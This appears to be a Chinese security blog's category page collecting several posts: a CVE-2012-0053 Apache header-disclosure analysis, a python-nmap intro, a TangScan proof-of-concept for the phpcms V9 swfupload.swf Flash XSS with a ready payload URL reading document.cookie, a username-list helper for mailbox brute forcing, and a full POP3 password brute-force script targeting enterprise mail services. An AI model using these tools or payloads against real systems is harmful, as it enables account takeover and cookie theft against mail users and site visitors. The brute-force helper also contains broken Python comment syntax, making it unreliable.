分类: Python

谈谈CVE-2012-0053

0x00 前言

看编号就知道是个比较老的洞了,最近测东西的时候又碰到,找了点资料大致看了下形成原因,然后再分享下POC。

0x01 漏洞描述

Apache HTTP Server 2.2.x多个版本没有正确严格限制HTTP请求头信息,HTTP请求头信息超过LimitRequestFieldSize长度时服务器返回400(Bad Request)错误,并在返回信息中将出错请求头内容爆出,攻击者可以利用该漏洞获取httponly cookies。

受影响软件版本:
Apache Http Server:
Affected: 2.2.21, 2.2.20, 2.2.19, 2.2.18, 2.2.17, 2.2.16, 2.2.15, 2.2.14, 2.2.13, 2.2.12, 2.2.11, 2.2.10, 2.2.9, 2.2.8, 2.2.6, 2.2.5, 2.2.4, 2.2.3, 2.2.2, 2.2.0

细节:

1、当HTTP请求头长度大于apache配置LimitRequestFieldSize长度时,服务器返回400错误页面中会携带LimitRequestFieldSize长度的错误请求头内容,如Cookies,User-agent等。

2、HTTP请求头长度不包含HTTP请求头名称与“:”。

3、Cookies请求头不包含多个cookies之间的空格,为实际多个cookies的长度总和。

4、Apache默认配置LimitRequestFieldSize长度为8196,浏览器正常访问默认截取请求头长度最大为4k

5、任意请求头(不限制于Cookie)超过LimitRequestFieldSize长度,服务器都会返回400错误并显示原始错误请求头信息。

 


0x02 漏洞分析

在ap_get_mime_headers_core中,该函数对于两种错误http请求的检查返回的信息出现了问题。

1.缺陷代码如下,在检测http_header超长后会返回Bad Request并将错误的部分返回给浏览器

field[len - 1] = '\0';
apr_table_setn(r->notes, "error-notes",
apr_pstrcat(r->pool,
     "Size of a request header field "
        "exceeds server limit.<br />\n"
        "<pre>\n",
        ap_escape_html(r->pool, field),
        "</pre>\n", NULL));

2.如果检查HTTP请求头中的某个域不包含冒号,则也返回错误的部分

if (!(value = strchr(last_field, ':'))) { /* Find ':' or    */
r->status = HTTP_BAD_REQUEST;      /* abort bad request */
    apr_table_setn(r->notes, "error-notes",
     apr_pstrcat(r->pool,
      "Request header field is "
      "missing ':' separator.<br />\n"
         "<pre>\n",
         ap_escape_html(r->pool,
          last_field),
       "</pre>\n", NULL));
    return;
}

继续阅读 谈谈CVE-2012-0053

nmap from python

0x01 About


 

大家都比较熟悉nmap,nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统(这是亦称 fingerprinting)。它是网络管理员必用的软件之一,以及用以评估网络系统安全。

今天分享一下python-nmap,是python的一个模块库,使用这个模块可以让python很方便的操作nmap扫描器来工作,它可以帮助管理员完成自动扫描任务和生成报告的工具,它还支持nmap的脚步输出。

python-nmap只提供了nmap中的端口扫描,但输出方式会让人便于信息整理。

前提:使用python-nmap你得先装有nmap该软件

Install from PIP

pip install python-nmap

2345截图20160127212007

继续阅读 nmap from python

Tangscan插件之phpcms V9 /swfupload.swf XSS

最近看到WooYun-2014-69833报告中对swfupload.swf、uploadify.swf造成的flash xss 分析,由于涉及范围广(国内各大cms厂商,包括但不限于dedecms、phpcms、cmseasy、espcms、phpyun、thinksns、骑士人才系统、phpdisk、国微php168、phpok、kesioncms、pageadmin、xheditor、sdcms、emlog、dtcms等)命中率应该还可以,便给Tangscan提交了几个此类型插件,这里也分享一下代码。

先看下漏洞成因

this.movieName = root.loaderInfo.parameters.movieName;

            this.flashReady_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].flashReady");

            this.fileDialogStart_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileDialogStart");

            this.fileQueued_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileQueued");

            this.fileQueueError_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileQueueError");

            this.fileDialogComplete_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].fileDialogComplete");

            this.uploadStart_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadStart");

            this.uploadProgress_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadProgress");

            this.uploadError_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadError");

            this.uploadSuccess_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadSuccess");

            this.uploadComplete_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].uploadComplete");

            this.debug_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].debug");

            this.testExternalInterface_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].testExternalInterface");

            this.cleanUp_Callback = (("SWFUpload.instances[\"" + this.movieName) + "\"].cleanUp");

代码可见,从参数(root.loaderInfo.parameters.movieName)中获得movieName后直接赋值到一些callback响应函数中,这些函数是js中执行的内容。我们只需闭合前面的”],再闭合try..catch中大括号},即可执行自己的javascript代码,造成反射型XSS。

因为是flash xss,而且没有过多关键字,所以无视浏览器filter和大部分WAF(因为在前端运行),所以影响较大,轻则越权操作、产生XSS、csrf蠕虫,重则直接getshell(结合某些cms的后台getshell技巧)。

 

分享下phpcms V9 /swfupload.swf XSS POC

  • TangScan-ID:TS-2014-17843
#! /usr/bin/env python
# -*- coding: utf-8 -*-

import md5
from thirdparty import requests
from modules.exploit import TSExploit


class TangScan(TSExploit):
    def __init__(self):
        super(self.__class__, self).__init__()
        self.info = {
            "name": "phpcms V9 /swfupload.swf XSS",
            "product": "phpcmsv9",
            "product_version": "",
            "desc": """
            phpcms V9 /swfupload.swf XSS
            """,
            "license": self.license.TS,
            "author": ["侦探911"],
            "ref": [
                {self.ref.wooyun: "http://www.wooyun.org/bugs/wooyun-2014-069833"},
            ],
            "type": self.type.xss,
            "severity": self.severity.low,
            "privileged": False,
            "disclosure_date": "",
            "create_date": ""
        }
        self.register_option({
            "url": {
                "default": "",
                "required": True,
                "choices": [],
                "convert": self.convert.url_field,
                "desc": ""
            }
        })
        self.register_result({
            "status": False,
            "data": {

            },
            "description": "",
            "error": ""
        })

    def md5(self, content):
        return md5.new(content).hexdigest()

    def verify(self):
        flash_md5 = "3a1c6cc728dddc258091a601f28a9c12"
        exp_url = "{domain}/statics/js/swfupload/swfupload.swf".format(domain=self.option.url.rstrip('/'))

        try:
            response = requests.get(exp_url, verify=False, timeout=15)
        except Exception, e:
            self.result.error = str(e)
            return

        if self.md5(response.content) == flash_md5:
            self.result.status = True
            self.result.description = "目标 {url} 存在反射XSS, 验证url: {verify_url}".format(
                url=self.option.url,
                verify_url=exp_url + "?movieName=%22]%29}catch%28e%29{if%28!window.x%29{window.x=1;alert%28document.cookie%29}}//"
            )

    def exploit(self):
        self.verify()


if __name__ == '__main__':
    from modules.main import main
    main(TangScan())

 

 

 

对每行末尾加字符的小脚本

爆破邮箱时候,搜集了许多用户名或者用top500来爆破,有的时候需要类似xxx@xxx.com 所以顺手写了一个每行自动加字符的小脚本

with open ('1.txt', 'wt') as f: //所生成的文件
    f.writelines(map(lambda ln: ln.strip()+'@xxx.com\n\r',
            open('2.txt', 'rt').readlines()//所读取的用户名文件
            ))

 

企业邮箱爆破脚本

原来保存过的一个企业爆破脚本,单线程,测试时还是有所帮助的。

#!usr/bin/python
#!coding:utf-8

import threading,time,random,sys,poplib
from copy import copy

if len(sys.argv) !=4:
    print "\t    Note: 邮箱类型为:'163','tencent','coremail','236','exchange' \n"
    print "\t    Note: coremail|exchange 用户字典不需要域名后缀,例如zhangsan\n"
    print "\t    Note: 163|tencent|236 用户字典需要域名后缀,例如zhangsan@domain.com\n"
    print "\t    Usage: 163|tencent使用方法:./mail.py type <userlist> <wordlist>\n"
    print "\t    Usage: 236|exchange|coremail使用方法:./mail.py type <userlist> <wordlist> mail.domain.com\n"  

    sys.exit(1)

mailType=['163','tencent','coremail','236','exchange']

if sys.argv[1] in ['236','exchange','coremail']:
    try:
        server = sys.argv[5]
    except:
        print '[-] Error: 236|exchange|coremail需要指定domain.com,请参考使用说明!\n'
        sys.exit(1)
elif sys.argv[1] == '163':
    server = "pop.qiye.163.com"
elif sys.argv[1] == 'tencent':
    server = "pop.exmail.qq.com"
else :
    print "[-] Error: 邮箱类型错误\n"
    sys.exit(1)
    
success = []

try:
    users_list = open(sys.argv[2], "r")
    users = users_list.readlines()
    words_list = open(sys.argv[3], "r")
    words = words_list.readlines()
except(IOError):
    print "[-] Error: 请检查用户名或密码路径及文件\n"
    sys.exit(1)
finally:
    users_list.close()
    words_list.close()
    
try:
    if sys.argv[1] in ['163','236']:
        pop = poplib.POP3(server,110)        
    else:
        pop = poplib.POP3_SSL(server,995)
    welcome = pop.getwelcome()
    print welcome
    pop.quit()
except (poplib.error_proto):
    welcome = "[-] Error: No Response,Something wrong!!!\n"
    sys.exit(1)

print "[+] Server:",server
print "[+] Users Loaded:",len(users)
print "[+] Words Loaded:",len(words)
print "[+] Server response:",welcome,"\n"

def mailbruteforce(listuser,listpwd,type):
    if len(listuser) < 1 or len(listpwd) < 1 :
        print "[-] Error: An error occurred: No user or pass list\n"
        return 1
    
    for user in listuser:
        for passwd in listpwd :
            user = user.replace("\n","")
            passwd = passwd.replace("\n","")
            
            try:
                print "-"*12
                print "[+] User:",user,"Password:",passwd
                
#                 time.sleep(0.1)      
                if type in ['163','236']:
                    popserver = poplib.POP3(server,110)        
                else:
                    popserver = poplib.POP3_SSL(server,995)
                popserver.user(user)
                auth = popserver.pass_(passwd)
                print auth
                
                if auth.split(' ')[0] == "+OK" or auth =="+OK":
                    ret = (user,passwd,popserver.stat()[0],popserver.stat()[1])
                    success.append(ret)
                    #print len(success)
                    popserver.quit()
                    break
                else :
                    popserver.quit()
                    continue
            
            except:
                #print "An error occurred:", msg
                pass

if __name__ == '__main__':
    mailbruteforce(users,words,sys.argv[1])
    

    print "\t[+] have weakpass :\t",len(success)
    if len(success) >=1:
        for ret in success:
            print "\n\n[+] Login successful:",ret[0], ret[1]
            print "\t[+] Mail:",ret[2],"emails"
            print "\t[+] Size:",ret[3],"bytes\n"
    print "\n[-] Done"